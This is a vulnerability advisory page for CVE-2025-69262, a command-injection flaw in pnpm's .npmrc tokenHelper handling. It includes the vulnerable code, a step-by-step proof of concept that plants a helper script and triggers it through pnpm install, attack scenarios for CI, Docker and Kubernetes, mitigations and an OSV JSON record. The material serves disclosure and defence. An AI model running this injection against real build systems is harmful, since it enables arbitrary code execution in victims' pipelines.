BREW-PNPM@9-CVE-2025-69262 (GHSA-2PHV-J68V-WWQX)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-11-03 16:35 – Source websiteSummary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm
- Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionality - File:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()function - File:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
- Environment Variable Substitution
.npmrcsupports${VAR}syntax-
Substitution occurs in
readLocalConfig() -
loadToken Execution
- Uses
spawnSync(helperPath, { shell: true }) -
Only validates absolute path existence
-
Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Proof of Concept
Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem
PoC Steps
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
- CVSS Score: 7.6 (High)
- CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk: - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users
Low Risk: - Public registry only - Production runtime (no pnpm execution) - Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables: - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs
Recommended Fixes
- Remove
shell: truefrom loadToken - Implement helper path allowlist
- Validate substituted paths
- Consider sandboxing
Disclosure
- Discovery: 2025-11-02
- PoC: 2025-11-02
- Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm
- Affected:
@pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: sy2n0@naver.com
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"upstream_fixed_in": "10.27.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "pnpm@9",
"purl": "pkg:brew/pnpm%409"
},
"ranges": [
{
"events": [
{
"introduced": "9.15.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "npm",
"key": "pkg:npm/pnpm@9.15.9",
"name": "pnpm",
"strategy": "registry",
"subject_version": "9.15.9"
},
{
"ecosystem": "Alpine",
"key": "Alpine/pnpm",
"name": "pnpm",
"strategy": "distro"
},
{
"ecosystem": "npm",
"key": "upstream:pkg:npm/pnpm@9.15.9",
"name": "pnpm",
"strategy": "distro",
"subject_version": "9.15.9"
}
]
},
"details": "## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n - `.npmrc` supports `${VAR}` syntax\n - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n - Uses `spawnSync(helperPath, { shell: true })`\n - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n \u2193\nenvReplace() \u2192 /tmp/evil-helper.sh\n \u2193\nloadToken() \u2192 spawnSync(..., { shell: true })\n \u2193\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n throw new PnpmError(\u0027BAD_TOKEN_HELPER_PATH\u0027, ...)\n }\n const spawnResult = spawnSync(helperPath, { shell: true })\n // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat \u003e /tmp/evil-helper.sh \u003c\u003c \u0027SCRIPT\u0027\n#!/bin/bash\necho \"RCE SUCCESS!\" \u003e /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat \u003e .npmrc \u003c\u003c \u0027EOF\u0027\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==\u003e Attack successful\n==\u003e File created: /tmp/rce-log.txt\n==\u003e Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository \u2192 Build Trigger \u2192 pnpm install \u2192 RCE \u2192 Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control \u2192 Env Variable \u2192 .npmrc Substitution \u2192 RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com",
"id": "BREW-pnpm@9-CVE-2025-69262",
"modified": "2026-11-03T16:35:22Z",
"published": "2026-08-13T17:28:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69262"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.27.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pnpm vulnerable to Command Injection via environment variable substitution",
"upstream": [
"GHSA-2phv-j68v-wwqx",
"CVE-2025-69262"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.